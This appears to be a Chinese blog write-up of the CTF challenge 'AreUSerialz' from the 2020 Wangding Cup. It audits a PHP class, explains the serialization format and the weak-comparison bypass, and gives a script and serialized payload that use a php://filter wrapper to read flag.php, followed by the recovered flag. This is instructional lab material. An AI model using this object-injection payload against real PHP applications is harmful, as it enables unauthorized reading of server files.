[网鼎杯 2020 青龙组]AreUSerialz – buu刷题笔记

打开题目就是一串代码需要进行代码审计

 <?php

include(\"flag.php\");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = \"1\";
        $filename = \"/tmp/tmpfile\";
        $content = \"Hello World!\";
        $this->process();
    }

    public function process() {
        if($this->op == \"1\") {
            $this->write();
        } else if($this->op == \"2\") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output(\"Bad Hacker!\");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output(\"Too long!\");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output(\"Successful!\");
            else $this->output(\"Failed!\");
        } else {
            $this->output(\"Failed!\");
        }
    }

    private function read() {
        $res = \"\";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo \"[Result]: <br>\";
        echo $s;
    }

    function __destruct() {
        if($this->op === \"2\")
            $this->op = \"1\";
        $this->content = \"\";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{\'str\'})) {

    $str = (string)$_GET[\'str\'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
[Result]:
PD9waHAgJGZsYWc9J2ZsYWd7YjFjYzcyMmYtZWNmZS00YTRjLWE3ODAtMjgzMGVmN2ExZmNlfSc7Cg==

①什么是序列化和反序列化

  • php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用serialize()函数。
  • php反序列化:将压缩后的字符串恢复,就用到了unserialize()函数。
  • PHP反序列化漏洞:如果代码中使用了反序列化 unserialize()函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过在本地构造序列化字符串,同时利用PHP中的一系列魔术方法来达到想要实现的目的,如控制对象内部的变量甚至是函数。

②序列化格式

不同php数据结构序列化后的格式都不一样

  • String : s:字符串长度:”字符串值”;
  • Integer : i:数值;
  • Boolean : b:value;(value为1或0)
  • Null : N;
  • Array : a:数组大小:{键的描述;值的描述;键的描述;值的描述; …} (描述值同String或Int型的序列化格式)
  • Object : O:类名长度:”类名”:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值; …}

我们由最后一段,追溯到上面的is_valid函数:

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

分析代码可知,它对传入的参数中的每一个字符进行判断,确保参数中的每一个字符都是可打印的。

if(isset($_GET{\'str\'})) {
    $str = (string)$_GET[\'str\'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

如果没有不可打印字符,就将str反序列化

接下来看FileHandler这个类,发现可以利用析构函数

function __destruct() 
{
        if($this->op === \"2\")
            $this->op = \"1\";
        $this->content = \"\";
        $this->process();
}

在这个析构函数中 ,op用的是===强类型比较,如果op等于2,就置为1,然后执行process函数,而我们发现,我们需要读取flag.php文件,又需要op等于2。

所以要想读取flag.php就要绕过process方法的判断,我们注意到process中用的是==弱类型比较,于是我们传入op的值就为整型2,这样析构函数中就不符合而process中就可以,这样就成功绕过。

public function process() {
        if($this->op == \"1\") {
            $this->write();
        } else if($this->op == \"2\") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output(\"Bad Hacker!\");
        }
    }

上脚本:

<?php
highlight_file(__FILE__);
	class FileHandler {
        public $op = 2;
        public $filename=\"php://filter/read=convert.base64-encode/resource=flag.php\";
        public $content;
    }
    $a = new FileHandler();
        $b = serialize($a);
        echo($b);
?>

O:11:\"FileHandler\":3:{s:2:\"op\";i:2;s:8:\"filename\";s:57:\"php://filter/read=convert.base64-encode/resource=flag.php\";s:7:\"content\";s:0:\"\";}

经过base64解码即可

考点

  • php弱类型比较
  • protected/private类型的属性序列化后产生不可打印字符,public类型则不会
  • PHP7.1+对类的属性类型不敏感

所以最终flag为flag{b1cc722f-ecfe-4a4c-a780-2830ef7a1fce}

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发
头像
善语结善缘,恶语伤人心
提交
头像

昵称

取消
昵称常用语 夸夸
夸夸
还有吗!没看够!
表情图片

    暂无评论内容